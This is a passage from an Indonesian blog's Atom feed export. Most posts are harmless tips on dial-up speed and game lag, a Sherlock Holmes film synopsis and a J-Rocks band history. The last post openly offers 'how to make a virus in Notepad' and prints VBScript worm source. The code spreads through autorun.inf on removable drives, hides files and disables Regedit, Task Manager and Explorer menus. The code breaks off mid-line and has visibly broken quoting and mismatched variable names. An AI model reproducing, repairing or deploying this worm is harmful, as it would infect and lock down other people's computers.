/&gt;nomor beberapa kali dalam sehari. Anda akan mendapatkan ada yang mempunyai&lt;br /&gt;kecepatan koneksi yang lebih bagus dari yang lainnya, tergantung berapa orang&lt;br /&gt;yang memakai nomor tersebut pada saat bersamaan dan berapa switch yang harus&lt;br /&gt;Anda lewati untuk mencapai nomor tersebut.&lt;br /&gt;&lt;br /&gt;2. Cobalah Beberapa ISP. &lt;br /&gt;&lt;br /&gt;Berganti ISP terkadang bisa menghasilkan performance yang sangat berbeda. ISP&lt;br /&gt;yang lain mungkin saja mempunyai layanan yang tidak terlalu sibuk. Jika Anda&lt;br /&gt;mempunyai teman-teman yang percaya pada Anda, mintalah mereka untuk&lt;br /&gt;memperbolehkan Anda untuk log on ke dalam PC mereka untuk membandingkan&lt;br /&gt;performance antar ISP.&lt;br /&gt;&lt;br /&gt;3. Tambahkan modem kedua.&lt;br /&gt;&lt;br /&gt;Dengan menambahkan modem kedua, kecepatan koneksi Anda akan bertambah banyak&lt;br /&gt;juga, namun Anda memerlukan nomor telepon yang kedua juga dan ISP yang&lt;br /&gt;mendukung fasilitas ini juga. Jika Anda memakai fasilitas ini, pakailah juga&lt;br /&gt;software MultiLink yang dapat mempercepat koneksi Anda dengan mengkombinasikan&lt;br /&gt;dua koneksi Internet simultan untuk bekerja sebagai satu koneksi; Windows 98 ke&lt;br /&gt;atas mendukung fasilitas ini.&lt;br /&gt;&lt;br /&gt;"Turbocharge" Sistem Anda&lt;br /&gt;&lt;br /&gt;Terkadang kelambatan telah lama terjadi sebelum Anda dial-up. Berikut ini ada&lt;br /&gt;beberapa cara "tune-up" koneksi net, monitor kecepatan, perbaiki kinerja PC&lt;br /&gt;Anda.&lt;br /&gt;&lt;br /&gt;4. Kecepatan Berapa yang Cepat?&lt;br /&gt;&lt;br /&gt;Seberapa cepat sebenarnya koneksi Internet Anda? Sebelum Anda berganti ISP&lt;br /&gt;ataupun menambahkan modem kedua, cobalah Bandwitdh Meter&lt;br /&gt;http://webservices.cnet.com/bandwidth/ milik CNet kecepatan download.&lt;br /&gt;Beberapa utility dapat mencek koneksi Anda saat surfing di Web.&lt;br /&gt;&lt;br /&gt;NetPerSec http://download.cnet.com/downloads/0....html?tag=txt)&lt;br /&gt;dapat mencek kecepatan koneksi secara real-time dan menciptakan grafik&lt;br /&gt;performance.&lt;br /&gt;&lt;br /&gt;Sedangkan Speed-o-Meter&lt;br /&gt;http://download.cnet.com/downloads/0...9.html?tag=txt merupakan&lt;br /&gt;utility sederhana lainnya yang dapat mencatat upload dan download secara&lt;br /&gt;real-time juga. Dengan bantuan utility-utility ini perhatikanlah waktu-waktu di&lt;br /&gt;mana koneksi menjadi lambat, hal ini mungkin saja karena jam-jam sibuk ataupun&lt;br /&gt;terjadi banyak congestion.&lt;br /&gt;&lt;br /&gt;Jika Anda selalu mendapatkan koneksi yang jauh lebih lambat daripada yang&lt;br /&gt;dijanjikan, catatlah. Mungkin saatnya untuk berganti ISP telah tiba.&lt;br /&gt;&lt;br /&gt;5. Tune-up Koneksi Anda.&lt;br /&gt;&lt;br /&gt;Beberapa utility dapat meningkatkan performance Net Anda, termasuk men"tune-up"&lt;br /&gt;setting TCP/IP registry Windows dan memelihara daftar website beserta&lt;br /&gt;IP-Address yang sering dikunjungi. Cobalah Accel SpeedTec&lt;br /&gt;http://download.cnet.com/downloads/0....html?tag=txt. Shareware,&lt;br /&gt;$14.95 registration, 30-day trial) atau Internet Turbo 2001&lt;br /&gt;http://download.cnet.com/downloads/0...1.html?tag=txt Shareware,&lt;br /&gt;$19 registration, 30-day trial). Kedua program ini secara otomatis akan&lt;br /&gt;mengoptimalkan setting-setting Anda ataupun memberikan fasilitas bagi Anda&lt;br /&gt;mengubah secara manual. Namun, hasil pengukuran kedua program ini bisa berbeda&lt;br /&gt;satu sama lain.&lt;br /&gt;&lt;br /&gt;6. Pakailah Download Accelerator.&lt;br /&gt;&lt;br /&gt;Mendownload dengan koneksi yang lambat bisa membuat frustrasi juga. Ukuran&lt;br /&gt;aplikasi-aplikasi terbaru dan game demo sangatlah besar dan bisa memakan waktu&lt;br /&gt;"berabad-abad" untuk mendownloadnya jika memakai modem dengan asumsi PC Anda&lt;br /&gt;juga tidak crash. Jika ISP Anda memutuskan koneksi di tengah-tengah download,&lt;br /&gt;Anda harus mulai dari awal.&lt;br /&gt;&lt;br /&gt;Download accelerators dapat mengatasi masalah-masalah ini dari beberapa sisi.&lt;br /&gt;Pertama-tama, mereka akan mencoba mempercepat dengan download dengan mencari&lt;br /&gt;server mirror yang lebih cepat atau bahkan mendownload sebuah file secara&lt;br /&gt;simultan dari beberapa server. Hal yang kedua adalah Anda dapat mengatur jadwal&lt;br /&gt;download dan "menyambung" kembali download yang terputus. Untuk download&lt;br /&gt;accelerator, cobalah GetRight 4.5, Download Accelerator 5.0, GoZilla 3.93&lt;br /&gt;ataupun NetAnts 1.23.&lt;br /&gt;&lt;br /&gt;7. Pakailah RAM yang Lebih Banyak.&lt;br /&gt;&lt;br /&gt;Jumlah RAM yang sedikit akan sangat berpengaruh terhadap performance PC Anda,&lt;br /&gt;dan terutama pada saat surfing. Web browser sendiri sudah memakan banyak&lt;br /&gt;memory, terutama saat Anda membuka beberapa window browser pada saat bersamaan.&lt;br /&gt;&lt;br /&gt;Untungnya harga memory saat ini berkurang sejak tahun lalu, kebanyakan harga&lt;br /&gt;RAM 128MB sudah berada di bawah US$50. Intinya jika RAM Anda 64MB atau kurang,&lt;br /&gt;menaikkan menjadi minimial 128MB akan sangat membantu.&lt;br /&gt;&lt;br /&gt;Pecutlah Browser Anda&lt;br /&gt;&lt;br /&gt;Beberapa "tune-up" pada browser Anda dapat mempercepat surfing Anda juga. Jadi&lt;br /&gt;sisihkanlah sedikit waktu untuk mengutak-atik setting agar surfing menjadi&lt;br /&gt;mulus. Siapa tahu Anda akan mendapatkan browser yang sama sekali baru.&lt;br /&gt;&lt;br /&gt;8. Barter Fitur untuk Kecepatan.&lt;br /&gt;&lt;br /&gt;Satu hal yang pasti: barter fitur untuk kecepatan. Salah satu cara yang sudah&lt;br /&gt;sering dicoba dan telah terbukti hasilnya adalah set browser Anda agar tidak&lt;br /&gt;me-load gambar (image), melainkan hanya memunculkan kotak tempat gambar saja.&lt;br /&gt;&lt;br /&gt;Cara ini akan sangat menghemat waktu loading, terutama untuk yang memakai&lt;br /&gt;koneksi yang lambat ataupun PC model lama (tentunya hasil yang ditampilkan&lt;br /&gt;adalah halaman Web yang tidak bergambar).&lt;br /&gt;&lt;br /&gt;Jika Anda memakai IE, cobalah Tools -&gt; Internet Options. Klik Advanced tab,&lt;br /&gt;scroll kebawah sampai Multimedia section, uncheck check box Show Pictures. Jika&lt;br /&gt;belakangan Anda ingin melihat gambar tersebut, cukup klik-kanan pada kotak di&lt;br /&gt;mana gambar tersebut akan muncul dan pilihlah Show Picture.&lt;br /&gt;&lt;br /&gt;Jika Anda memakai Netscape, coabalah Edit menu -&gt; Preferences -&gt; Advanced dan&lt;br /&gt;uncheck check box Automatically Load Images.&lt;br /&gt;&lt;br /&gt;9. Matikanlah Fitur Java.&lt;br /&gt;&lt;br /&gt;Javascript dan Java telah memberikan beberapa fitur yang terbagus di Web&lt;br /&gt;--misalnya menu pull-down dan animasi -- namun mereka juga menambah beban di&lt;br /&gt;browser Anda. Anda dapat mengklaim kembali kecepatan tersebut jika Anda&lt;br /&gt;mematikan salah satu ataupun semua fitur tersebut.&lt;br /&gt;&lt;br /&gt;Untuk pemakai Internet Explorer, klik Tools -&gt; Internet Options and the&lt;br /&gt;Security tab. Pilihlah Internet icon (yang kelihatan seperti globe) dan klik&lt;br /&gt;tombol Custom Level. Carilah Java Permissions section and pilihnlah Disable&lt;br /&gt;Java. Kemudian pergilah ke Scripting section and pilihlah "Disable" untuk&lt;br /&gt;"Active scripting" dan "Scripting of Java applets".&lt;br /&gt;&lt;br /&gt;Untuk Netscape, klik Edit -&gt; Preferences -&gt; Advanced. Deselect kotak Enable&lt;br /&gt;Java dan Enable JavaScript.&lt;br /&gt;&lt;br /&gt;Catatan, beberapa halaman web, termasuk Hotmail, memerlukan Java atau&lt;br /&gt;JavaScript untuk menampilkan atau berjalan dengan benar atau merekan akan&lt;br /&gt;mengeluarkan error jika Anda mematikan fitur Java.&lt;br /&gt;&lt;br /&gt;10. Ubahlah Homepage Anda.&lt;br /&gt;&lt;br /&gt;Homepage Anda merupakan web-site yang akan di-load secara otomatis begitu Anda&lt;br /&gt;menjalan browser Anda pertama kali. Untuk mempercepat waktu launch, pilihlah&lt;br /&gt;halaman web yang dapat di-load dengan cepat --misalnya dengan yang memiliki&lt;br /&gt;sedikit grafik -- atau set browser Anda dengan tanpa home-page sama sekali.&lt;br /&gt;&lt;br /&gt;Untuk Internet Explorer, klik Tools -&gt; Internet Options. Pada bagian pertama di&lt;br /&gt;bawah tab "General" menunjukkan preferensi home-page Anda; cukup dengan&lt;br /&gt;mengetikkan URL baru atau kosongkan kolom tersebut dan membiarkannya kosong&lt;br /&gt;atau dengan menekan tombol "Use Blank".&lt;br /&gt;&lt;br /&gt;Untuk Netscape, klik Edit -&gt; Preferences. Klik kategori Navigator sisi kiri&lt;br /&gt;window tersebut. Pada panel kanan, Anda akan meliaht dialog-box di mana Anda&lt;br /&gt;dapat merubah home page atau mengubah jadi Blank Page alias halaman kosong.&lt;br /&gt;&lt;br /&gt;11. Cobalah Browser Lainnya.&lt;br /&gt;&lt;br /&gt;Terkadang koneksi Internet Anda sudah bagus, tapi browser selalu mengecewakan&lt;br /&gt;Anda. Kebanyakan browser merupakan aplikasi-aplikasi yang berukuran gede,&lt;br /&gt;lamban dan menghabiskan banyak memory. Jika Anda tidak tahan dengan kelambatan&lt;br /&gt;IE ataupun Netscape Navigator Anda, cobalah sebuah pilihan lainnya, yaitu Opera&lt;br /&gt;5.0 yang memang dikembangkan untuk para web surfer yang memerlukan sebuah&lt;br /&gt;browser yang lebih cepat dan tidak memakan banyak memory seperti IE dan&lt;br /&gt;Netscape.&lt;br /&gt;&lt;br /&gt;Dalam testing yang dilakukan CNET Labs menunjukkan bahwa Opera memang lebih&lt;br /&gt;cepat dibanding IE dan Netscape dalam hal loading teks, grafik dan cached&lt;br /&gt;pages. Versi terakhirnya juga telah menghadirkan fitur Java dan JavaScript,&lt;br /&gt;e-mail client serta ICQ. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2378153048121520588?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2378153048121520588/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/11-trik-surfing-dan-download.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2378153048121520588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2378153048121520588'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/11-trik-surfing-dan-download.html' title='11 Trik Surfing dan Download...'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-5211135357878230755</id><published>2010-01-10T13:00:00.000+07:00</published><updated>2010-01-10T13:00:04.226+07:00</updated><title type='text'>Menghidari LAG Dalam Bermain Game Online</title><content type='html'>Berikut ini adalah beberapa tips dan trik singkat untuk meningkatkan kecepatan dan responsivitas dalam bermain game online (mungkin berguna juga untuk game ofline yang memakai LAN).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Pilih server dengan ping rendah.&lt;br /&gt;&lt;br /&gt;Ping adalah waktu yang diperlukan oleh sebuah sinyal yang terkirim dari komputer menuju ke server dan kembali. Ping di hitung dalam Mildetik, umumnys berkisar antara 0 sampai 80 detik untuk kecepatan yang optimal.&lt;br /&gt;&lt;br /&gt;2. Dapatkan tambahan bandwith, atau pindah ISP. &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Gunakan jalur internet yang cepat dan bebas lag. Untuk game online lokal disarankan untuk menggunakan jaringan IIX agar jalur data tidak memutar dulu ke luar negeri.&lt;br /&gt;&lt;br /&gt;3. Kurangi resolusi layar.&lt;br /&gt;&lt;br /&gt;Untuk mendapatkan frame rate yang baik diperlukan minimal 30 fps, jika lebih cepat lagi maka alur data yang keluar masuk lewat jaringan gamer akan lebih responsif juga.&lt;br /&gt;&lt;br /&gt;4. Ubah nama file.exe.&lt;br /&gt;&lt;br /&gt;Mungkin terdengar aneh, tetapi ada program sejenis trojan yang bisa mengganggu program yang sedang di jalankan.&lt;br /&gt;&lt;br /&gt;5. Pastikan kabel LAN dalam kondisi baik.&lt;br /&gt;&lt;br /&gt;Pastikan kabel LAN tidak putus,sobek, tertindih, terlipat, tidak terpasang dengan benar, atau pun basah.&lt;br /&gt;&lt;br /&gt;6. Jalankan Anti-Virus dan Anti-Spyware secara rutin.&lt;br /&gt;&lt;br /&gt;Spyware bisa mentedot bandwith gamer dan virus sangat berbahaya bagi komputer.&lt;br /&gt;&lt;br /&gt;7. Defragment HardDisk secara teratur.&lt;br /&gt;&lt;br /&gt;Akses data akan lebih lancar apabila cluster dalm Harddisk tidak berantakan sehingga proses baca tulis berlangsung tanpa hambatan.&lt;br /&gt;&lt;br /&gt;8. Tambah kapasitas RAM.&lt;br /&gt;&lt;br /&gt;Menambah kapasitas RAM sangat efektif untuk memberi ruang lebih bagi komputer gamer untuk bekerja secara efisien.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-5211135357878230755?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/5211135357878230755/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/menghidari-lag-dalam-bermain-game.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/5211135357878230755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/5211135357878230755'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/menghidari-lag-dalam-bermain-game.html' title='Menghidari LAG Dalam Bermain Game Online'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2206465232165926475</id><published>2010-01-09T23:46:00.000+07:00</published><updated>2010-01-09T23:47:47.532+07:00</updated><title type='text'>Sherlock Holmes</title><content type='html'>&lt;a href="http://www.astaga.com/sites/default/files/gambar/sherlock_holmes_2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img alt="Sherlock Holmes" border="0" height="178" src="http://www.astaga.com/sites/default/files/gambar/sherlock_holmes_2.jpg" style="border: 1px solid black; margin-top: 6px;" width="275" /&gt;&lt;/a&gt;&lt;br /&gt;Sherlock Holmes - Detektif kenamaan Sherlock Holmes (Robert Downey Jr) bersama rekannya Dr. John Watson (Jude Law), beraksi di layar lebar.&lt;br /&gt;&lt;br /&gt;Sherlock HolmesKali ini duo sahabat itu harus memecahkan sebuah kasus di mana pelaku merupakan ancaman bagi Inggris.&lt;br /&gt;&lt;br /&gt;Lima orang wanita telah tewas terbunuh dan pelaku adalah penyembah setan bernama Lord Blackwood (Mark Strong).&lt;br /&gt;&lt;br /&gt;Meski tertangkap dan terancam hukuman gantung, tapi Blackwood berjanji akan balas dendam dengan bangkit dari kubur, dan kematian demi kematian tidak akan terhindari.&lt;br /&gt;&lt;br /&gt;Untuk memastikan hal tersebut, Holmes dan Watson semakin intens menyelidiki. Terutama setelah Blackwood benar-benar bangkit tiga hari setelah pemakaman.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Ada seorang saksi yang melihat kejadian, sementara insiden tersebut tentu saja sedikit mencoreng wajah Watson karena ia yang mengumumkan kematian Blackwood.&lt;br /&gt;&lt;br /&gt;Kehandalan Holmes dan Watson memang tak lagi diragukan. Mereka kerap membantu pihak kepolisian Inggris.&lt;br /&gt;&lt;br /&gt;Tapi, kasus Blackwood rupanya menyeret para petinggi di pemerintahan untuk mengambil alih wewenang polisi. Di sinilah, Holmes diburu.&lt;br /&gt;&lt;br /&gt;Sementara dikejar para polisi, Holmes bersikeras untuk memecahkan misteri ini. Apalagi ancaman baru datang, tepat jam 12 siang, parlemen akan dikecam kematian para petinggi pemerintahan.&lt;br /&gt;&lt;br /&gt;Akankah Holmes dan Watson mampu memecahkan kasus ini? Selamatkah mereka dari sebuah ledakan dasyat yang dibuat Blackwood?&lt;br /&gt;&lt;br /&gt;Sepertinya tidak seru jika Anda memperoleh jawabnya di sini. Saksikan film Sherlock Holmes di bioskop-bioskop kesayangan Anda.&lt;br /&gt;&lt;br /&gt;Yang pasti, tak hanya melibatkan aksi teka-teki, bumbu percintaan diperlihatkan dengan andilnya Irene Adler (Rachel McAdams), kekasih Holmes yang adalah penjahat kelas kakap. Belum lagi Sederet peristiwa, perkelahian hingga ledakan harus dilewati Holmes.&lt;br /&gt;&lt;br /&gt;Sayangnya, walau karakternya diadaptasi dari novel klasik karya Sir Arthur Conan Doyle asal Skotlandia yang dibuat tahun 1887, namun filmnya sama sekali tidak diambil dari salah satu bukunya.&lt;br /&gt;&lt;br /&gt;Namun begitu, sang sutradara Guy Richie dengan apik menggambarkan nuansa 'kelam' Inggris di era 1800-1900-an. Belum lagi, teka-teki kasus yang diungkap di akhir film.&lt;br /&gt;&lt;br /&gt;Dan sepertinya, keberadaan profesor Moriarty di akhir film, bisa jadi tanda-tanda akan adanya pembuatan sekuel.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2206465232165926475?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2206465232165926475/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/sherlock-holmes.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2206465232165926475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2206465232165926475'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/sherlock-holmes.html' title='Sherlock Holmes'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-3355826129566197307</id><published>2010-01-09T21:08:00.000+07:00</published><updated>2010-01-09T21:43:54.605+07:00</updated><title type='text'>Nih Sejarah dari band J-Rocks, he...</title><content type='html'>&lt;a href="http://tikamelihatpelangi.files.wordpress.com/2009/05/j-rocks1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://tikamelihatpelangi.files.wordpress.com/2009/05/j-rocks1.jpg" width="320" /&gt;&lt;/a&gt;Nama J-rocks sempat menjadi pembicaraan hangat di kalangan pecinta musik Jepang di Indonesia karena nama ini seakan mewakili genre Japanese Rock. Inspirasi nama J-ROCKSTARS adalah dari sebuah stiker bertuliskan ROCKSTAR, dengan harapan suatu saat akan menjadi Rockstar (bintang musik rock). Tambahan huruf J di depannya untuk mewakili band itu sendiri dengan alasan J bisa berarti Jepang karena awalnya mereka memainkan J-Music, Jakarta karena mereka berasal dari Jakarta, Jujur dalam bermusik dalam artian memainkan apa yang bener-bener mereka suka dan ingin memainkan musik yang ber-soul (jiwa). Nama J-ROCKSTARS akhirnya disingkat menjadi J-ROCKS karena adanya masalah penyebutan, sementara nama J-ROCKSTARS sendiri menjadi nama dari fans J-ROCKS. &lt;span class="fullpost"&gt;&lt;br /&gt;Awal 2004, JRS (singkatan dari J-ROCKSTARS) mengikuti festival musik Nescafe Get Started 2004 yang disponsori oleh Nescafe, Trans TV, dan Aquarius Musikindo. Masing-masing personil meraih best vocalist, best guitarist, best bassist, dan best drummer. Mereka berhasil menjuarai festival tersebut dan berkesempatan membuat album kompilasi Nescafe Get Started yang merupakan awal bentuk kerjasama mereka dengan Aquarius Musikindo. Mereka akhirnya berhasil meluncurkan album perdana nya yang bertajuk "Topeng Sahabat" dengan label Aquarius pada pertengahan tahun 2005.&lt;br /&gt;&lt;br /&gt;Band ini semakin dikenal sejak munculnya album kedua Spirit, J-Rocks memainkan bermacam-macam beat dan aliran musik seperti Rock 'n Roll (Juwita Hati), Waltz/ Victorian (Tersesal), blues, klasik ;;(classic), dan lain sebagainya. &lt;br /&gt;&lt;br /&gt;Pada lagu berjudul "Kau Curi Lagi" mereka memperkenalkan gitaris wanita, Prisa Rianzi dan pada lagu "Juwita Hati" mereka membuat video klip di Jepang yang digarap oleh Hedy Suryawan. Shalvynne Chang , Sato , Boppy pada video klip ini berperan sebagai fans J-Rocks yang mengejar idolanya dari Indonesia sampai ke Jepang. Konsep yang menarik membuat video klip ini populer di Indonesia.&lt;br /&gt;&lt;br /&gt;J-Rocks mengukir sejarah sebagai band Indonesia pertama yang rekaman di studio legendaris Abbey Road, Inggris. Proses rekaman dan mixing lagu-lagu terbaru mereka itu rencananya akan dilakukan selama lima hari dari tanggal 12 sampai 16 Oktober 2008.&lt;br /&gt;&lt;br /&gt;Kesempatan berharga ini diperoleh J-Rocks karena mereka terpilih menjadi band terbaik di ajang A Mild Live Soundrenaline 2008. Band yang digawangi Iman (vokal dan gitar), Sony (gitar), Wima (bas), dan Anton (drum) ini terpilih sebagai band terbaik di ajang tersebut karena mampu tampil sesuai dengan tema free your voice dan berhasil membawa tema save our music and culture.&lt;br /&gt;&lt;br /&gt;Bagi band yang beraliran Japanese pop/rock itu, perjalanan menuju Abbey Road Studios diharapkan bisa menjadi pintu gerbang untuk bisa go international. Untuk rekaman nanti mereka menyiapkan tiga lagu singel yang rencananya akan dirilis oleh PT Aquarius Musikindo. Lagu-lagu tersebut sementara diberi judul Falling Love, Hanya Aku, dan Meraih Mimpi.&lt;br /&gt;&lt;br /&gt;Di Abbey Road nanti mereka akan ditangani oleh Chris Butler, sound engineer ternama yang pernah menangani band Oasis, Supergrass, dan Divine Comedy. Abbey Road Studios didirikan pada November 1931 oleh EMI di London. Sejumlah artis musik tersohor pernah merekam lagu mereka di studio itu, seperti The Beatles, Pink Floyd, Oasis, Josh Groban, Radiohead, Muse, Green Day, Spice Girls dan U2. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-3355826129566197307?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/3355826129566197307/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/nih-sejarah-dari-band-j-rocks-he.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3355826129566197307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3355826129566197307'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/01/nih-sejarah-dari-band-j-rocks-he.html' title='Nih Sejarah dari band J-Rocks, he...'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-3045728232696441554</id><published>2010-01-09T20:59:00.001+07:00</published><updated>2010-01-09T21:00:25.853+07:00</updated><title type='text'>Membuat Viruse dari Notepad?? bisa koq ^^</title><content type='html'>Mo buat virus..???&lt;br /&gt;gampang kok....&lt;br /&gt;Silahkan ketikkan kode script di bawah ini pada aplikasi Notepad..&lt;br /&gt;&lt;br /&gt;//Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus//&lt;br /&gt;on error resume next&lt;br /&gt;&lt;br /&gt;//Dim kata-kata berikut ini//&lt;br /&gt;dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd&lt;br /&gt;&lt;br /&gt;//Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information//&lt;br /&gt;isi = [autorun] &amp; vbcrlf &amp; shellexecute=wscript.exe bLaCk_eNgInE.dll.vbs&lt;br /&gt;set fs = createobject(Scripting.FileSystemObject)&lt;br /&gt;set mf = fs.getfile(Wscript.ScriptFullname)&lt;br /&gt;dim text,size&lt;br /&gt;size = mf.size&lt;br /&gt;check = mf.drive.drivetype&lt;br /&gt;set text = mf.openastextstream(1,-2)&lt;br /&gt;do while not text.atendofstream&lt;br /&gt;rekur = rekur &amp; text.readline&lt;br /&gt;rekur = rekur &amp; vbcrlf&lt;br /&gt;loop&lt;br /&gt;do&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;//Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)&lt;br /&gt;Set windowpath = fs.getspecialfolder(0)&lt;br /&gt;set tf = fs.getfile(windowpath &amp; \batch- bLaCk_eNgInE.dll.vbs )&lt;br /&gt;tf.attributes = 32&lt;br /&gt;set tf=fs.createtextfile(windowpath &amp; \batch- bLaCk_eNgInE.dll.vbs,2,true)&lt;br /&gt;tf.write rekursif&lt;br /&gt;tf.close&lt;br /&gt;set tf = fs.getfile(windowpath &amp; \batch- bLaCk_eNgInE.dll.vbs )&lt;br /&gt;tf.attributes = 39&lt;br /&gt;//Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok//&lt;br /&gt;Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket&lt;br /&gt;&lt;br /&gt;for each flashdrive in fs.drives&lt;br /&gt;//Cek Drive//&lt;br /&gt;If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path &lt;&gt; A: then&lt;br /&gt;&lt;br /&gt;//Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\//&lt;br /&gt;set tf=fs.getfile(flashdrive.path &amp;\bLaCk_eNgInE.dll.vbs )&lt;br /&gt;tf.attributes =32&lt;br /&gt;set tf=fs.createtextfile(flashdrive.path &amp;\bLaCk_eNgInE.dll.vbs ,2,true)&lt;br /&gt;tf.write rekursif&lt;br /&gt;tf.close&lt;br /&gt;set tf=fs.getfile(flashdrive.path &amp;\bLaCk_eNgInE.dll.vbs )&lt;br /&gt;tf.attributes = 39&lt;br /&gt;&lt;br /&gt;//Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)//&lt;br /&gt;set tf =fs.getfile(flashdrive.path &amp;\autorun.inf)&lt;br /&gt;tf.attributes = 32&lt;br /&gt;set tf=fs.createtextfile(flashdrive.path &amp;\autorun.inf,2,true)&lt;br /&gt;tf.write isi&lt;br /&gt;tf.close&lt;br /&gt;set tf = fs.getfile(flashdrive.path &amp;\autorun.inf)&lt;br /&gt;tf.attributes=39&lt;br /&gt;end if&lt;br /&gt;next&lt;br /&gt;&lt;br /&gt;//Manipulasi Registry//&lt;br /&gt;&lt;br /&gt;set qalby = createobject(WScript.Shell)&lt;br /&gt;&lt;br /&gt;//Manip - Ubah Title Internet Explorer menjadi bLaCk_eNgInE//&lt;br /&gt;kalong.regwrite HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title, THE KALONG v.s. ZAY&lt;br /&gt;&lt;br /&gt;//Manip Set agar file hidden tidak ditampilkan di Explorer//&lt;br /&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\Advanced\Hidden, 0, REG_DWORD&lt;br /&gt;&lt;br /&gt;//Manip Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager//&lt;br /&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoFind, 1, REG_DWORD&lt;br /&gt;kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\NoFolderOptions, 1, REG_DWORD&lt;br 